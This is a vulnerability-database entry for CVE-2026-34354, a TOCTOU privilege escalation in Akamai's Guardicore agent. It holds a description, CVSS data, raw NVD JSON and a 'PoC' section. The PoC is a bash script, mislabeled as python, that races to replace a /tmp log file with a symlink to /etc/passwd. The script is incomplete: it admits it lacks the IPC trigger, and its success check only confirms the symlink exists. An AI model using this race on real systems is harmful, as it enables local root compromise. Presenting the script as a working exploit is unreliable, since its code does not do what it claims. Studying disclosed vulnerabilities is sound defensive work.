Security Vulnerability Report
中文
CVE-2026-34354 CVSS 7.4 HIGH

CVE-2026-34354

Published: 2026-05-08 16:16:11
Last Modified: 2026-05-08 16:16:11

Description

Akamai Guardicore Platform Agent (GPA) and Zero Trust Client on Linux and macOS allow TOCTOU-based local privilege escalation. The GPA service creates an IPC socket in the world-writable /tmp directory. It accepts unauthenticated IPC control messages. This enables a TOCTOU vulnerability in the HandleSaveLogs() function of the GPA service, by creating a log file and manipulating it into a symlink that points to the targeted path; this can allow an unprivileged local user to make arbitrary root-owned files world-writable. In addition, a diagnostic collection tool (gimmelogs) running with root privileges was vulnerable to command injection from the dbstore, offering a second privilege escalation vector. (On Windows, gimmelogs does not have command injection but does allow writing a ZIP archive to an unintended location.) This affects Akamai Guardicore Platform Agent 7.0 through 7.3.1 and Akamai Zero Trust Client 6.0 through 6.1.5.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Akamai Guardicore Platform Agent 7.0 至 7.3.1
Akamai Zero Trust Client 6.0 至 6.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-34354: TOCTOU Race Condition in Akamai Guardicore # This script attempts to exploit the HandleSaveLogs vulnerability. TARGET_FILE="/etc/passwd" LOG_FILE_PATTERN="/tmp/gpa_log_*" echo "[*] Starting exploit for CVE-2026-34354..." # Monitor /tmp for the log file creation and race to symlink it while true; do # Find the recently created log file (implementation depends on exact timing) LOG_FILE=$(ls -t $LOG_FILE_PATTERN 2>/dev/null | head -n 1) if [ -n "$LOG_FILE" ]; then echo "[+] Found log file: $LOG_FILE" # Remove the file and create a symlink to the target rm -f "$LOG_FILE" ln -s "$TARGET_FILE" "$LOG_FILE" echo "[+] Symlink created: $LOG_FILE -> $TARGET_FILE" # Trigger the IPC message to save logs (this step requires knowing the IPC protocol) # For demonstration, we assume the event is triggered automatically or by another process echo "[*] Waiting for the GPA service to write to the symlink..." sleep 2 if [ -L "$LOG_FILE" ]; then echo "[!] Exploit attempt finished. Check if $TARGET_FILE is modified." break fi fi done

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34354", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:10.510", "lastModified": "2026-05-08T16:16:10.510", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Akamai Guardicore Platform Agent (GPA) and Zero Trust Client on Linux and macOS allow TOCTOU-based local privilege escalation. The GPA service creates an IPC socket in the world-writable /tmp directory. It accepts unauthenticated IPC control messages. This enables a TOCTOU vulnerability in the HandleSaveLogs() function of the GPA service, by creating a log file and manipulating it into a symlink that points to the targeted path; this can allow an unprivileged local user to make arbitrary root-owned files world-writable. In addition, a diagnostic collection tool (gimmelogs) running with root privileges was vulnerable to command injection from the dbstore, offering a second privilege escalation vector. (On Windows, gimmelogs does not have command injection but does allow writing a ZIP archive to an unintended location.) This affects Akamai Guardicore Platform Agent 7.0 through 7.3.1 and Akamai Zero Trust Client 6.0 through 6.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://www.akamai.com/blog/security-research/advisory-cve-2026-34354-guardicore-local-privilege-escalation", "source": "[email protected]"}]}}